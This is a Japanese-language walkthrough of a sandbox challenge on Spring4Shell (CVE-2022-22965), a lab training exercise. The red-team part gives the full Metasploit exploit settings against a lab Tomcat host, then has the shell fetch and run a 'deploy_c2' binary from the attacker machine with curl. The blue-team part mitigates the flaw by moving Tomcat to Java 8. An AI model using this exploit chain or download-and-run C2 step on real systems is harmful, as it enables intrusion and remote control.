
CVE-2022-22965 (Spring4Shell) を Metasploit で悪用し、C2 リスナーを展開し、Tomcat サーバー上で Java 8 にダウングレードして脆弱性を緩和するステップバイステップのウォークスルー。
このウォークスルーは、CVE-2022-22965(通称 Spring4Shell)に焦点を当てたサンドボックスチャレンジの完了を記録したものです。これは、特定のバージョンのSpring Javaフレームワークに影響を与える重大な(CVSS 9.8/10)リモートコード実行脆弱性です。このチャレンジでは、脆弱性の攻撃(レッドチーム)と防御(ブルーチーム)の両方の視点を扱います。
注意: このウォークスルー内のコマンドとファイルパスは、この試行時に使用された特定の環境を反映しています。お使いの環境は異なる可能性がありますので、パス、IPアドレス、ファイル名は適宜調整してください。
| マシン | IPアドレス | 役割 |
|---|---|---|
| Security-Desk (Kali Linux) | 172.16.200.12 | 攻撃兼作業マシン |
| Red Target (Linux) | 172.16.100.90 | 標的(攻撃対象) |
| Blue Target (Linux) | 172.16.100.100 | 堅牢化対象 |
認証情報: playerone / password123
チャレンジパネルの「Network Map」タブを確認し、Red Target の IP (172.16.100.90) を確認しました。curl を使用してポート80で動作しているWebアプリケーションを調査しました:
curl http://172.16.100.90
出力結果から、Apache Tomcat 9.0.59 が /dasmsp へのリダイレクトで動作していることがわかりました。ページソースを確認し、/dasmsp/contact に POST フォームのエンドポイントがあることを特定しました。
msfconsole
use exploit/multi/http/spring_framework_rce_spring4shell
set RHOSTS 172.16.100.90
set LHOST 172.16.200.12
set RPORT 80
set TARGETURI /dasmsp/contact
set PAYLOAD_PATH webapps/ROOT
set HTTP_METHOD POST
set ForceExploit true
run
エクスプロイトは正常に JSP シェルを生成し、クラスローダーを変更し、ログファイルをフラッシュし、Red Target 上でコマンドシェルセッションを開きました。
セッションが開いた後、shell と入力して対話型シェルにアップグレードしました。Metasploit はターゲット上で /usr/bin/script を見つけ、それを使用して tomcat ユーザーとして対話型シェルを起動しました。
deploy_c2 バイナリは Red Target ではなく Security-Desk にありました。Security-Desk 上で Python3 HTTP サーバーをホストして提供しました:
cd /home/playerone/Desktop/Resources/
python3 -m http.server 8080
Red Target のシェルセッション内からダウンロードして実行しました:
curl http://172.16.200.12:8080/deploy_c2 -o /tmp/deploy_c2
chmod +x /tmp/deploy_c2
/tmp/deploy_c2
出力結果で確認: Done! — C2 リスナーが Red Target に正常に展開されました。
Security-Desk のターミナルから:
パスワード: password123
Java 8 の .deb パッケージは Security-Desk の /home/playerone/Desktop/Resources/ にありました。Security-Desk ターミナルから SCP を使用して Blue Target に転送しました:
scp /home/playerone/Desktop/Resources/*.deb [email protected]:/tmp/
転送されたパッケージ:
Blue Target の SSH セッション上:
sudo dpkg -i /tmp/*.deb
既知のチャレンジの問題により、手動で Java 8 をデフォルトに設定しないとチェックが正しく認識されません:
sudo update-alternatives --config java
オプション 2 — /usr/lib/jvm/temurin-8-jdk-amd64/bin/java を選択しました。
Tomcat サービスのユニットファイルを確認しました:
cat /etc/systemd/system/tomcat.service
ファイルを編集して JAVA_HOME 環境変数を更新しました:
sudo nano /etc/systemd/system/tomcat.service
変更前:
Environment="JAVA_HOME=/usr"
変更後:
Environment="JAVA_HOME=/usr/lib/jvm/temurin-8-jdk-amd64"
sudo systemctl daemon-reload
sudo systemctl restart tomcat
チャレンジパネルで「Blue Target での CVE-2022-22965 緩和」チェックが緑色に変わりました。
spring_framework_rce_spring4shell module)